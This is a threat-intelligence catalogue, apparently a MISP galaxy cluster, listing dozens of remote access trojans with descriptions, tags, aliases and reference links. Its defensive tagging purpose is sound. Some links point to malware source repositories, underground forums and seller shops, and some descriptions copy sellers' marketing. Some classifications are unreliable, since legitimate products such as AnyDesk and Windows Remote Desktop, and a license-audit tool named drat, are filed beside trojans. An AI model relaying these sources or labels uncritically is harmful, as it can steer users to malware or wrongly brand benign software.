In March 2017, Fujitsu Cyber Threat Intelligence uncovered a newly developed remote access tool referred to by its developer as ‘Dark RAT’ – a tool used to steal sensitive information from victims. Offered as a Fully Undetectable build (FUD) the RAT has a tiered price model including 24/7 support and an Android version. Android malware has seen a significant rise in interest and in 2015 this resulted in the arrests of a number of suspects involved in the infamous DroidJack malware.

The tag is: misp-galaxy:rat="DarkRat"

DarkRat is also known as:

DarkRAT

Table 4144. Table References
Links
https://www.infosecurity-magazine.com/blogs/the-dark-rat/
http://darkratphp.blogspot.lu/

Greame

The tag is: misp-galaxy:rat="Greame"

Table 4145. Table References
Links
https://sites.google.com/site/greymecompany/greame-rat-project

HawkEye

HawkEye is a popular RAT that can be used as a keylogger, it is also able to identify login events and record the destination, username, and password.

The tag is: misp-galaxy:rat="HawkEye"

Table 4146. Table References
Links
http://securityaffairs.co/wordpress/54837/hacking/one-stop-shop-hacking.html
https://www.bleepingcomputer.com/news/security/zoho-heavily-used-by-keyloggers-to-transmit-stolen-data/

jRAT

jRAT is the cross-platform remote administrator tool that is coded in Java, Because its coded in Java it gives jRAT possibilities to run on all operation systems, Which includes Windows, Mac OSX and Linux distributions.

The tag is: misp-galaxy:rat="jRAT"

jRAT is also known as:

JacksBot

jRAT has relationships with:

similar: misp-galaxy:malpedia="jRAT" with estimative-language:likelihood-probability="likely"

Table 4147. Table References
Links
https://www.rekings.com/shop/jrat/

jSpy

jSpy is a Java RAT.

The tag is: misp-galaxy:rat="jSpy"

jSpy has relationships with:

similar: misp-galaxy:malpedia="jSpy" with estimative-language:likelihood-probability="likely"

Table 4148. Table References
Links
https://leakforums.net/thread-479505

LuxNET

Just saying that this is a very badly coded RAT by the biggest skid in this world, that is XilluX. The connection is very unstable, the GUI is always flickering because of the bad Multi-Threading and many more bugs.

The tag is: misp-galaxy:rat="LuxNET"

Table 4149. Table References
Links
https://leakforums.net/thread-284656

NJRat

NJRat is a remote access trojan (RAT), first spotted in June 2013 with samples dating back to November 2012. It was developed and is supported by Arabic speakers and mainly used by cybercrime groups against targets in the Middle East. In addition to targeting some governments in the region, the trojan is used to control botnets and conduct other typical cybercrime activity. It infects victims via phishing attacks and drive-by downloads and propagates through infected USB keys or networked drives. It can download and execute additional malware, execute shell commands, read and write registry keys, capture screenshots, log keystrokes, and spy on webcams.

The tag is: misp-galaxy:rat="NJRat"

NJRat is also known as:

Njw0rm

NJRat has relationships with:

similar: misp-galaxy:rat="Kiler RAT" with estimative-language:likelihood-probability="likely"

Table 4150. Table References
Links
https://www.cyber.nj.gov/threat-profiles/trojan-variants/njrat

Pandora

Remote administrator tool that has been developed for Windows operation system. With advanced features and stable structure, Pandora’s structure is based on advanced client / server architecture. was configured using modern technology.

The tag is: misp-galaxy:rat="Pandora"

Table 4151. Table References
Links
https://www.rekings.com/pandora-rat-2-2/

Predator Pain

Unlike Zeus, Predator Pain and Limitless are relatively simple keyloggers. They indiscriminately steal web credentials and mail client credentials, as well as capturing keystrokes and screen captures. The output is human readable, which is good if you are managing a few infected machines only, but the design doesn’t scale well when there are a lot of infected machines and logs involved.

The tag is: misp-galaxy:rat="Predator Pain"

Predator Pain is also known as:

PredatorPain

Predator Pain has relationships with:

similar: misp-galaxy:malpedia="HawkEye Keylogger" with estimative-language:likelihood-probability="likely"

Table 4152. Table References
Links
http://blog.trendmicro.com/trendlabs-security-intelligence/predator-pain-and-limitless-behind-the-fraud/
https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-predator-pain-and-limitless.pdf

Punisher RAT

Remote administration tool

The tag is: misp-galaxy:rat="Punisher RAT"

Table 4153. Table References
Links
http://punisher-rat.blogspot.lu/

SpyGate

This is tool that allow you to control your computer form anywhere in world with full support to unicode language.

The tag is: misp-galaxy:rat="SpyGate"

Table 4154. Table References
Links
https://www.rekings.com/spygate-rat-3-2/
https://www.symantec.com/security_response/attacksignatures/detail.jsp%3Fasid%3D27950
http://spygate-rat.blogspot.lu/

Small-Net

RAT

The tag is: misp-galaxy:rat="Small-Net"

Small-Net is also known as:

SmallNet

Table 4155. Table References
Links
http://small-net-rat.blogspot.lu/

Vantom

Vantom is a free RAT with good option and very stable.

The tag is: misp-galaxy:rat="Vantom"

Table 4156. Table References
Links
https://www.rekings.com/vantom-rat/

Xena

Xena RAT is a fully-functional, stable, state-of-the-art RAT, coded in a native language called Delphi, it has almost no dependencies.

The tag is: misp-galaxy:rat="Xena"

Table 4157. Table References
Links
https://leakforums.net/thread-497480

XtremeRAT

This malware has been used in targeted attacks as well as traditional cybercrime. During our investigation we found that the majority of XtremeRAT activity is associated with spam campaigns that typically distribute Zeus variants and other banking-focused malware.

The tag is: misp-galaxy:rat="XtremeRAT"

Table 4158. Table References
Links
https://www.fireeye.com/blog/threat-research/2014/02/xtremerat-nuisance-or-threat.html

Netwire

NetWire has a built-in keylogger that can capture inputs from peripheral devices such as USB card readers.

The tag is: misp-galaxy:rat="Netwire"

Table 4159. Table References
Links
https://www.secureworks.com/blog/netwire-rat-steals-payment-card-data

Gh0st RAT

Gh0st RAT is a Trojan horse for the Windows platform that the operators of GhostNet used to hack into some of the most sensitive computer networks on Earth. It is a cyber spying computer program. .

The tag is: misp-galaxy:rat="Gh0st RAT"

Gh0st RAT has relationships with:

similar: misp-galaxy:malpedia="Ghost RAT" with estimative-language:likelihood-probability="likely"
used-by: misp-galaxy:threat-actor="Anchor Panda" with estimative-language:likelihood-probability="likely"

Table 4160. Table References
Links
https://www.volexity.com/blog/2017/03/23/have-you-been-haunted-by-the-gh0st-rat-today/

Plasma RAT

Plasma RAT’s stub is fairly advanced, having many robust features. Some of the features include botkilling, Cryptocurrencies Mining (CPU and GPU), persistence, anti-analysis, torrent seeding, AV killer, 7 DDoS methods and a keylogger. The RAT is coded in VB.Net. There is also a Botnet version of it (Plasma HTTP), which is pretty similar to the RAT version.

The tag is: misp-galaxy:rat="Plasma RAT"

Table 4161. Table References
Links
http://www.zunzutech.com/blog/security/analysis-of-plasma-rats-source-code/

Babylon

Babylon is a highly advanced remote administration tool with no dependencies. The server is developed in C++ which is an ideal language for high performance and the client is developed in C#(.Net Framework 4.5)

The tag is: misp-galaxy:rat="Babylon"

Table 4162. Table References
Links
https://www.rekings.com/babylon-rat/

Imminent Monitor

RAT

The tag is: misp-galaxy:rat="Imminent Monitor"

Table 4163. Table References
Links
http://www.imminentmethods.info/

DroidJack

DroidJack is a RAT (Remote Access Trojan/Remote Administration Tool) nature of remote accessing, monitoring and managing tool (Java based) for Android mobile OS. You can use it to perform a complete remote control to any Android devices infected with DroidJack through your PC. It comes with powerful function and user-friendly operation – even allows attackers to fully take over the mobile phone and steal, record the victim’s private data wilfully.

The tag is: misp-galaxy:rat="DroidJack"

Table 4164. Table References
Links
http://droidjack.net/

Quasar RAT

Quasar is a fast and light-weight remote administration tool coded in C#. Providing high stability and an easy-to-use user interface

The tag is: misp-galaxy:rat="Quasar RAT"

Quasar RAT has relationships with:

similar: misp-galaxy:malpedia="Quasar RAT" with estimative-language:likelihood-probability="likely"

Table 4165. Table References
Links
https://github.com/quasar/QuasarRAT
https://researchcenter.paloaltonetworks.com/2017/10/unit42-tracking-subaat-targeted-phishing-attacks-point-leader-threat-actors-repository/
https://www.ncsc.gov.uk/content/files/protected_files/article_files/Joint%20report%20on%20publicly%20available%20hacking%20tools%20%28NCSC%29.pdf

Dendroid

Dendroid is malware that affects Android OS and targets the mobile platform. It was first discovered in early of 2014 by Symantec and appeared in the underground for sale for $300. Some things were noted in Dendroid, such as being able to hide from emulators at the time. When first discovered in 2014 it was one of the most sophisticated Android remote administration tools known at that time. It was one of the first Trojan applications to get past Google’s Bouncer and caused researchers to warn about it being easier to create Android malware due to it. It also seems to have follow in the footsteps of Zeus and SpyEye by having simple-to-use command and control panels. The code appeared to be leaked somewhere around 2014. It was noted that an apk binder was included in the leak, which provided a simple way to bind Dendroid to legitimate applications.

The tag is: misp-galaxy:rat="Dendroid"

Dendroid has relationships with:

similar: misp-galaxy:mitre-malware="Dendroid - S0301" with estimative-language:likelihood-probability="likely"

Table 4166. Table References
Links
https://github.com/qqshow/dendroid
https://github.com/nyx0/Dendroid

Ratty

A Java R.A.T. program

The tag is: misp-galaxy:rat="Ratty"

Ratty has relationships with:

similar: misp-galaxy:malpedia="Ratty" with estimative-language:likelihood-probability="likely"

Table 4167. Table References
Links
https://github.com/shotskeber/Ratty

RaTRon

Java RAT

The tag is: misp-galaxy:rat="RaTRon"

Table 4168. Table References
Links
http://level23hacktools.com/forum/showthread.php?t=27971
https://leakforums.net/thread-405562?tid=405562&&pq=1

Arabian-Attacker RAT

The tag is: misp-galaxy:rat="Arabian-Attacker RAT"

Table 4169. Table References
Links
http://arabian-attacker.software.informer.com/

Androrat

Androrat is a client/server application developed in Java Android for the client side and in Java/Swing for the Server.

The tag is: misp-galaxy:rat="Androrat"

Table 4170. Table References
Links
https://latesthackingnews.com/2015/05/31/how-to-hack-android-phones-with-androrat/
https://github.com/wszf/androrat

Adzok

Remote Administrator

The tag is: misp-galaxy:rat="Adzok"

Table 4171. Table References
Links
http://adzok.com/

Schwarze-Sonne-RAT

The tag is: misp-galaxy:rat="Schwarze-Sonne-RAT"

Schwarze-Sonne-RAT is also known as:

SS-RAT
Schwarze Sonne

Table 4172. Table References
Links
https://github.com/mwsrc/Schwarze-Sonne-RAT

Cyber Eye RAT

The tag is: misp-galaxy:rat="Cyber Eye RAT"

Table 4173. Table References
Links
https://www.indetectables.net/viewtopic.php?t=24245

Batch NET

The tag is: misp-galaxy:rat="Batch NET"

RWX RAT

The tag is: misp-galaxy:rat="RWX RAT"

Table 4174. Table References
Links
https://leakforums.net/thread-530663

Spynet

Spy-Net is a software that allow you to control any computer in world using Windows Operating System.He is back using new functions and good options to give you full control of your remote computer.Stable and fast, this software offer to you a good interface, creating a easy way to use all his functions

The tag is: misp-galaxy:rat="Spynet"

Table 4175. Table References
Links
http://spynet-rat-officiel.blogspot.lu/

CTOS

The tag is: misp-galaxy:rat="CTOS"

Table 4176. Table References
Links
https://leakforums.net/thread-559871

Virus RAT

The tag is: misp-galaxy:rat="Virus RAT"

Table 4177. Table References
Links
https://github.com/mwsrc/Virus-RAT-v8.0-Beta

Atelier Web Remote Commander

The tag is: misp-galaxy:rat="Atelier Web Remote Commander"

Table 4178. Table References
Links
http://www.atelierweb.com/products/

drat

A distributed, parallelized (Map Reduce) wrapper around Apache™ RAT to allow it to complete on large code repositories of multiple file types where Apache™ RAT hangs forev

The tag is: misp-galaxy:rat="drat"

Table 4179. Table References
Links
https://github.com/chrismattmann/drat

MoSucker

MoSucker is a powerful backdoor - hacker’s remote access tool.

The tag is: misp-galaxy:rat="MoSucker"

Table 4180. Table References
Links
https://www.f-secure.com/v-descs/mosuck.shtml

Theef

The tag is: misp-galaxy:rat="Theef"

Table 4181. Table References
Links
http://www.grayhatforum.org/thread-4373-post-5213.html#pid5213
http://www.spy-emergency.com/research/T/Theef_Download_Creator.html
http://www.spy-emergency.com/research/T/Theef.html

ProRat

ProRat is a Microsoft Windows based backdoor trojan, more commonly known as a Remote Administration Tool. As with other trojan horses it uses a client and server. ProRat opens a port on the computer which allows the client to perform numerous operations on the server (the machine being controlled).

The tag is: misp-galaxy:rat="ProRat"

Table 4182. Table References
Links
http://prorat.software.informer.com/
http://malware.wikia.com/wiki/ProRat

Setro

The tag is: misp-galaxy:rat="Setro"

Table 4183. Table References
Links
https://sites.google.com/site/greymecompany/setro-rat-project

Indetectables RAT

The tag is: misp-galaxy:rat="Indetectables RAT"

Table 4184. Table References
Links
http://www.connect-trojan.net/2015/03/indetectables-rat-v.0.5-beta.html

Luminosity Link

The tag is: misp-galaxy:rat="Luminosity Link"

Table 4185. Table References
Links
https://luminosity.link/

Orcus

The tag is: misp-galaxy:rat="Orcus"

Table 4186. Table References
Links
https://orcustechnologies.com/

Blizzard

The tag is: misp-galaxy:rat="Blizzard"

Table 4187. Table References
Links
http://www.connect-trojan.net/2014/10/blizzard-rat-lite-v1.3.1.html

Kazybot

The tag is: misp-galaxy:rat="Kazybot"

Table 4188. Table References
Links
https://www.rekings.com/kazybot-lite-php-rat/
http://telussecuritylabs.com/threats/show/TSL20150122-06

BX

The tag is: misp-galaxy:rat="BX"

Table 4189. Table References
Links
http://www.connect-trojan.net/2015/01/bx-rat-v1.0.html

death

The tag is: misp-galaxy:rat="death"

Sky Wyder

The tag is: misp-galaxy:rat="Sky Wyder"

Table 4190. Table References
Links
https://rubear.me/threads/sky-wyder-2016-cracked.127/

DarkTrack

The tag is: misp-galaxy:rat="DarkTrack"

Table 4191. Table References
Links
https://www.rekings.com/darktrack-4-alien/
http://news.softpedia.com/news/free-darktrack-rat-has-the-potential-of-being-the-best-rat-on-the-market-508179.shtml

xRAT

Free, Open-Source Remote Administration Tool. xRAT 2.0 is a fast and light-weight Remote Administration Tool coded in C# (using .NET Framework 2.0).

The tag is: misp-galaxy:rat="xRAT"

Table 4192. Table References
Links
https://github.com/c4bbage/xRAT

Biodox

The tag is: misp-galaxy:rat="Biodox"

Table 4193. Table References
Links
http://sakhackingarticles.blogspot.lu/2014/08/biodox-rat.html

Offence

Offense RAT is a free renote administration tool made in Delphi 9.

The tag is: misp-galaxy:rat="Offence"

Table 4194. Table References
Links
https://leakforums.net/thread-31386?tid=31386&&pq=1

Apocalypse

The tag is: misp-galaxy:rat="Apocalypse"

Apocalypse has relationships with:

similar: misp-galaxy:ransomware="Apocalypse" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Apocalypse" with estimative-language:likelihood-probability="likely"

Table 4195. Table References
Links
https://leakforums.net/thread-36962

JCage

The tag is: misp-galaxy:rat="JCage"

Table 4196. Table References
Links
https://leakforums.net/thread-363920

Nuclear RAT

Nuclear RAT (short for Nuclear Remote Administration Tool) is a backdoor trojan horse that infects Windows NT family systems (Windows 2000, XP, 2003).

The tag is: misp-galaxy:rat="Nuclear RAT"

Table 4197. Table References
Links
http://malware.wikia.com/wiki/Nuclear_RAT
http://www.nuclearwintercrew.com/Products-View/21/Nuclear_RAT_2.1.0/

Ozone

C++ REMOTE CONTROL PROGRAM

The tag is: misp-galaxy:rat="Ozone"

Table 4198. Table References
Links
http://ozonercp.com/

Xanity

The tag is: misp-galaxy:rat="Xanity"

Table 4199. Table References
Links
https://github.com/alienwithin/xanity-php-rat

DarkMoon

The tag is: misp-galaxy:rat="DarkMoon"

DarkMoon is also known as:

Dark Moon

Xpert

The tag is: misp-galaxy:rat="Xpert"

Table 4200. Table References
Links
http://broad-product.biz/forum/r-a-t-(remote-administration-tools)/xpert-rat-3-0-10-by-abronsius(vb6)/
https://www.nulled.to/topic/18355-xpert-rat-309/
https://trickytamilan.blogspot.lu/2016/03/xpert-rat.html

Kiler RAT

This remote access trojan (RAT) has capabilities ranging from manipulating the registry to opening a reverse shell. From stealing credentials stored in browsers to accessing the victims webcam. Through the Command & Control (CnC) server software, the attacker has capabilities to create and configure the malware to spread utilizing physic devices, such as USB drives, but also to use the victim as a pivot point to gain more access laterally throughout the network. This remote access trojan could be classified as a variant of the well known njrat, as they share many similar features such as their display style, several abilities and a general template for communication methods . However, where njrat left off KilerRat has taken over. KilerRat is a very feature rich RAT with an active development force that is rapidly gaining in popularity amongst the middle eastern community and the world.

The tag is: misp-galaxy:rat="Kiler RAT"

Kiler RAT is also known as:

Njw0rm

Kiler RAT has relationships with:

similar: misp-galaxy:rat="NJRat" with estimative-language:likelihood-probability="likely"

Table 4201. Table References
Links
https://www.alienvault.com/blogs/labs-research/kilerrat-taking-over-where-njrat-remote-access-trojan-left-off

Brat

The tag is: misp-galaxy:rat="Brat"

MINI-MO

The tag is: misp-galaxy:rat="MINI-MO"

Lost Door

Unlike most attack tools that one can only find in cybercriminal underground markets, Lost Door is very easy to obtain. It’s promoted on social media sites like YouTube and Facebook. Its maker, “OussamiO,” even has his own Facebook page where details on his creation can be found. He also has a dedicated blog (hxxp://lost-door[.]blogspot[.]com/) where tutorial videos and instructions on using the RAT is found. Any cybercriminal or threat actor can purchase and use the RAT to launch attacks.

The tag is: misp-galaxy:rat="Lost Door"

Lost Door is also known as:

LostDoor

Table 4202. Table References
Links
http://lost-door.blogspot.lu/
http://blog.trendmicro.com/trendlabs-security-intelligence/lost-door-rat-accessible-customizable-attack-tool/
https://www.cyber.nj.gov/threat-profiles/trojan-variants/lost-door-rat

Loki RAT

Loki RAT is a php RAT that means no port forwarding is needed for this RAT, If you dont know how to setup this RAT click on tutorial.

The tag is: misp-galaxy:rat="Loki RAT"

Table 4203. Table References
Links
https://www.rekings.com/loki-rat-php-rat/

MLRat

The tag is: misp-galaxy:rat="MLRat"

Table 4204. Table References
Links
https://github.com/BahNahNah/MLRat

SpyCronic

The tag is: misp-galaxy:rat="SpyCronic"

Table 4205. Table References
Links
http://perfect-conexao.blogspot.lu/2014/09/spycronic-1021.html
http://www.connect-trojan.net/2013/09/spycronic-v1.02.1.html
https://ranger-exploit.com/spycronic-v1-02-1/

Pupy

Pupy is an opensource, cross-platform (Windows, Linux, OSX, Android) remote administration and post-exploitation tool mainly written in python

The tag is: misp-galaxy:rat="Pupy"

Pupy has relationships with:

similar: misp-galaxy:mitre-tool="Pupy - S0192" with estimative-language:likelihood-probability="likely"

Table 4206. Table References
Links
https://github.com/n1nj4sec/pupy

Nova

Nova is a proof of concept demonstrating screen sharing over UDP hole punching.

The tag is: misp-galaxy:rat="Nova"

Table 4207. Table References
Links
http://novarat.sourceforge.net/

BD Y3K RAT

The tag is: misp-galaxy:rat="BD Y3K RAT"

BD Y3K RAT is also known as:

Back Door Y3K RAT
Y3k

Table 4208. Table References
Links
https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&signatureSubId=2
https://tools.cisco.com/security/center/viewIpsSignature.x?signatureId=9401&signatureSubId=0&softwareVersion=6.0&releaseVersion=S177
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20292
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20264

Turkojan

Turkojan is a remote administration and spying tool for Microsoft Windows operating systems.

The tag is: misp-galaxy:rat="Turkojan"

Table 4209. Table References
Links
http://turkojan.blogspot.lu/

TINY

TINY is a set of programs that lets you control a DOS computer from any Java-capable machine over a TCP/IP connection. It is comparable to programs like VNC, CarbonCopy, and GotoMyPC except that the host machine is a DOS computer rather than a Windows one.

The tag is: misp-galaxy:rat="TINY"

Table 4210. Table References
Links
http://josh.com/tiny/

SharK

sharK is an advanced reverse connecting, firewall bypassing remote administration tool written in VB6. With sharK you will be able to administrate every PC (using Windows OS) remotely.

The tag is: misp-galaxy:rat="SharK"

SharK is also known as:

SHARK
Shark

SharK has relationships with:

similar: misp-galaxy:ransomware="Shark" with estimative-language:likelihood-probability="likely"

Table 4211. Table References
Links
https://www.security-database.com/toolswatch/SharK-3-Remote-Administration-Tool.html
http://lpc1.clpccd.cc.ca.us/lpc/mdaoud/CNT7501/NETLABS/Ethical_Hacking_Lab_05.pdf

Snowdoor

Backdoor.Snowdoor is a Backdoor Trojan Horse that allows unauthorized access to an infected computer. It creates an open C drive share with its default settings. By default, the Trojan listens on port 5,328.

The tag is: misp-galaxy:rat="Snowdoor"

Snowdoor is also known as:

Backdoor.Blizzard
Backdoor.Fxdoor
Backdoor.Snowdoor
Backdoor:Win32/Snowdoor

Table 4212. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2003-022018-5040-99

Paradox

The tag is: misp-galaxy:rat="Paradox"

Table 4213. Table References
Links
https://www.nulled.to/topic/155464-paradox-rat/

SpyNote

Android RAT

The tag is: misp-galaxy:rat="SpyNote"

SpyNote has relationships with:

similar: misp-galaxy:malpedia="SpyNote" with estimative-language:likelihood-probability="likely"

Table 4214. Table References
Links
https://www.rekings.com/spynote-v4-android-rat/

ZOMBIE SLAYER

The tag is: misp-galaxy:rat="ZOMBIE SLAYER"

HTTP WEB BACKDOOR

The tag is: misp-galaxy:rat="HTTP WEB BACKDOOR"

NET-MONITOR PRO

Net Monitor for Employees lets you see what everyone’s doing - without leaving your desk. Monitor the activity of all employees. Plus you can share your screen with your employees PCs, making demos and presentations much easier.

The tag is: misp-galaxy:rat="NET-MONITOR PRO"

Table 4215. Table References
Links
https://networklookout.com/help/

DameWare Mini Remote Control

Affordable remote control software for all your customer support and help desk needs.

The tag is: misp-galaxy:rat="DameWare Mini Remote Control"

DameWare Mini Remote Control is also known as:

dameware

Table 4216. Table References
Links
http://www.dameware.com/dameware-mini-remote-control

Remote Utilities

Remote Utilities is a free remote access program with some really great features. It works by pairing two remote computers together with what they call an "Internet ID." You can control a total of 10 PCs with Remote Utilities.

The tag is: misp-galaxy:rat="Remote Utilities"

Table 4217. Table References
Links
https://www.remoteutilities.com/

Ammyy Admin

Ammyy Admin is a completely portable remote access program that’s extremely simple to setup. It works by connecting one computer to another via an ID supplied by the program.

The tag is: misp-galaxy:rat="Ammyy Admin"

Ammyy Admin is also known as:

Ammyy

Table 4218. Table References
Links
http://ammyy-admin.soft32.com/

Ultra VNC

UltraVNC works a bit like Remote Utilities, where a server and viewer is installed on two PCs, and the viewer is used to control the server.

The tag is: misp-galaxy:rat="Ultra VNC"

Table 4219. Table References
Links
http://www.uvnc.com/

AeroAdmin

AeroAdmin is probably the easiest program to use for free remote access. There are hardly any settings, and everything is quick and to the point, which is perfect for spontaneous support.

The tag is: misp-galaxy:rat="AeroAdmin"

Table 4220. Table References
Links
http://www.aeroadmin.com/en/

Windows Remote Desktop

Windows Remote Desktop is the remote access software built into the Windows operating system. No additional download is necessary to use the program.

The tag is: misp-galaxy:rat="Windows Remote Desktop"

RemotePC

RemotePC, for good or bad, is a more simple free remote desktop program. You’re only allowed one connection (unless you upgrade) but for many of you, that’ll be just fine.

The tag is: misp-galaxy:rat="RemotePC"

Table 4221. Table References
Links
https://www.remotepc.com/

Seecreen

Seecreen (previously called Firnass) is an extremely tiny (500 KB), yet powerful free remote access program that’s absolutely perfect for on-demand, instant support.

The tag is: misp-galaxy:rat="Seecreen"

Seecreen is also known as:

Firnass

Table 4222. Table References
Links
http://seecreen.com/

Chrome Remote Desktop

Chrome Remote Desktop is an extension for the Google Chrome web browser that lets you setup a computer for remote access from any other Chrome browser.

The tag is: misp-galaxy:rat="Chrome Remote Desktop"

Table 4223. Table References
Links
https://chrome.google.com/webstore/detail/chrome-remote-desktop/gbchcmhmhahfdphkhkmpfmihenigjmpp?hl=en

AnyDesk

AnyDesk is a remote desktop program that you can run portably or install like a regular program.

The tag is: misp-galaxy:rat="AnyDesk"

Table 4224. Table References
Links
https://anydesk.com/remote-desktop

LiteManager

LiteManager is another remote access program, and it’s strikingly similar to Remote Utilities, which I explain on the first page of this list. However, unlike Remote Utilities, which can control a total of only 10 PCs, LiteManager supports up to 30 slots for storing and connecting to remote computers, and also has lots of useful features.

The tag is: misp-galaxy:rat="LiteManager"

Table 4225. Table References
Links
http://www.litemanager.com/

Comodo Unite

Comodo Unite is another free remote access program that creates a secure VPN between multiple computers. Once a VPN is established, you can remotely have access to applications and files through the client software.

The tag is: misp-galaxy:rat="Comodo Unite"

Table 4226. Table References
Links
https://www.comodo.com/home/download/download.php?prod=comodounite

ShowMyPC

ShowMyPC is a portable and free remote access program that’s nearly identical to UltraVNC but uses a password to make a connection instead of an IP address.

The tag is: misp-galaxy:rat="ShowMyPC"

Table 4227. Table References
Links
https://showmypc.com/

join.me

join.me is a remote access program from the producers of LogMeIn that provides quick access to another computer over an internet browser.

The tag is: misp-galaxy:rat="join.me"

Table 4228. Table References
Links
https://www.join.me/

DesktopNow

DesktopNow is a free remote access program from NCH Software. After optionally forwarding the proper port number in your router, and signing up for a free account, you can access your PC from anywhere through a web browser.

The tag is: misp-galaxy:rat="DesktopNow"

Table 4229. Table References
Links
http://www.nchsoftware.com/remotedesktop/index.html

BeamYourScreen

Another free and portable remote access program is BeamYourScreen. This program works like some of the others in this list, where the presenter is given an ID number they must share with another user so they can connect to the presenter’s screen.

The tag is: misp-galaxy:rat="BeamYourScreen"

Table 4230. Table References
Links
http://www.beamyourscreen.com/

Casa RAT

The tag is: misp-galaxy:rat="Casa RAT"

Bandook RAT

Bandook is a FWB#++ reverse connection rat (Remote Administration Tool), with a small size server when packed 30 KB, and a long list of amazing features

The tag is: misp-galaxy:rat="Bandook RAT"

Table 4231. Table References
Links
http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35NEW_/[http://www.nuclearwintercrew.com/Products-View/57/Bandook_RAT_v1.35NEW_/]

Cerberus RAT

The tag is: misp-galaxy:rat="Cerberus RAT"

Table 4232. Table References
Links
http://www.hacktohell.org/2011/05/setting-up-cerberus-ratremote.html

Syndrome RAT

The tag is: misp-galaxy:rat="Syndrome RAT"

Snoopy

Snoopy is a Remote Administration Tool. Software for controlling user computer remotely from other computer on local network or Internet.

The tag is: misp-galaxy:rat="Snoopy"

Table 4233. Table References
Links
http://www.spy-emergency.com/research/S/Snoopy.html

5p00f3r.N$ RAT

The tag is: misp-galaxy:rat="5p00f3r.N$ RAT"

P. Storrie RAT

The tag is: misp-galaxy:rat="P. Storrie RAT"

Storrie RAT is also known as:
- P.Storrie RAT

xHacker Pro RAT

The tag is: misp-galaxy:rat="xHacker Pro RAT"

NetDevil

Backdoor.NetDevil allows a hacker to remotely control an infected computer.

The tag is: misp-galaxy:rat="NetDevil"

NetDevil has relationships with:

similar: misp-galaxy:rat="Net Devil" with estimative-language:likelihood-probability="likely"

Table 4234. Table References
Links
https://www.symantec.com/security_response/writeup.jsp?docid=2002-021310-3452-99

NanoCore

In September of 2015, a DigiTrust client visited a web link that was providing an Adobe Flash Player update. The client, an international retail organization, attempted to download and run what appeared to be a regular update. The computer trying to download this update was a back office system that processed end of day credit card transactions. This system also had the capability of connecting to the corporate network which contained company sales reports. DigiTrust experts were alerted to something malicious and blocked the download. The investigation found that what appeared to be an Adobe Flash Player update, was a Remote Access Trojan called NanoCore. If installation had been successful, customer credit card data, personal information, and internal sales information could have been captured and monetized. During the analysis of NanoCore, our experts found that there was much more to this RAT than simply being another Remote Access Trojan.

The tag is: misp-galaxy:rat="NanoCore"

NanoCore has relationships with:

similar: misp-galaxy:tool="NanoCoreRAT" with estimative-language:likelihood-probability="likely"

Table 4235. Table References
Links
https://www.digitrustgroup.com/nanocore-not-your-average-rat/

Cobian RAT

The Zscaler ThreatLabZ research team has been monitoring a new remote access Trojan (RAT) family called Cobian RAT since February 2017. The RAT builder for this family was first advertised on multiple underground forums where cybercriminals often buy and sell exploit and malware kits. This RAT builder caught our attention as it was being offered for free and had lot of similarities to the njRAT/H-Worm family

The tag is: misp-galaxy:rat="Cobian RAT"

Cobian RAT has relationships with:

similar: misp-galaxy:malpedia="Cobian RAT" with estimative-language:likelihood-probability="likely"

Table 4236. Table References
Links
https://www.zscaler.com/blogs/research/cobian-rat-backdoored-rat

Netsupport Manager

NetSupport Manager continues to deliver the very latest in remote access, PC support and desktop management capabilities. From a desktop, laptop, tablet or smartphone, monitor multiple systems in a single action, deliver hands-on remote support, collaborate and even record or play back sessions. When needed, gather real-time hardware and software inventory, monitor services and even view system config remotely to help resolve issues quickly.

The tag is: misp-galaxy:rat="Netsupport Manager"

Table 4237. Table References
Links
http://www.netsupportmanager.com/index.asp

Vortex

The tag is: misp-galaxy:rat="Vortex"

Assassin

The tag is: misp-galaxy:rat="Assassin"

Net Devil

The tag is: misp-galaxy:rat="Net Devil"

Net Devil is also known as:

NetDevil

Net Devil has relationships with:

similar: misp-galaxy:rat="NetDevil" with estimative-language:likelihood-probability="likely"

Table 4238. Table References
Links
https://www.symantec.com/security_response/attacksignatures/detail.jsp?asid=20702

A4Zeta

The tag is: misp-galaxy:rat="A4Zeta"

Table 4239. Table References
Links
http://www.megasecurity.org/trojans/a/a4zeta/A4zeta_b2.html

Greek Hackers RAT

The tag is: misp-galaxy:rat="Greek Hackers RAT"

Table 4240. Table References
Links
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0

MRA RAT

The tag is: misp-galaxy:rat="MRA RAT"

Table 4241. Table References
Links
http://www.connect-trojan.net/2013/04/greek-hackers-rat-1.0.html?m=0

Sparta RAT

The tag is: misp-galaxy:rat="Sparta RAT"

Table 4242. Table References
Links
http://www.connect-trojan.net/2015/09/sparta-rat-1.2-by-azooz-ejram.html

LokiTech

The tag is: misp-galaxy:rat="LokiTech"

MadRAT

The tag is: misp-galaxy:rat="MadRAT"

Tequila Bandita

The tag is: misp-galaxy:rat="Tequila Bandita"

Table 4243. Table References
Links
http://www.connect-trojan.net/2013/07/tequila-bandita-1.3b2.html

Toquito Bandito

The tag is: misp-galaxy:rat="Toquito Bandito"

Table 4244. Table References
Links
http://www.megasecurity.org/trojans/t/toquitobandito/Toquitobandito_all.html

MofoTro

MofoTro is a new rat coded by Cool_mofo_2.

The tag is: misp-galaxy:rat="MofoTro"

Table 4245. Table References
Links
http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta.html
http://www.megasecurity.org/trojans/m/mofotro/Mofotroresurrection.html
http://www.megasecurity.org/trojans/m/mofotro/Mofotro_beta1.5.html

Hav-RAT

Written in Delphi

The tag is: misp-galaxy:rat="Hav-RAT"

Table 4246. Table References
Links
http://www.megasecurity.org/trojans/h/hav/Havrat1.2.html

ComRAT

ComRAT is a remote access tool suspected of being a decedent of Agent.btz and used by Turla.

The tag is: misp-galaxy:rat="ComRAT"

ComRAT has relationships with:

similar: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:malpedia="Agent.BTZ" with estimative-language:likelihood-probability="likely"
similar: misp-galaxy:tool="Agent.BTZ" with estimative-language:likelihood-probability="likely"

Table 4247. Table References
Links
https://attack.mitre.org/wiki/Software/S0126

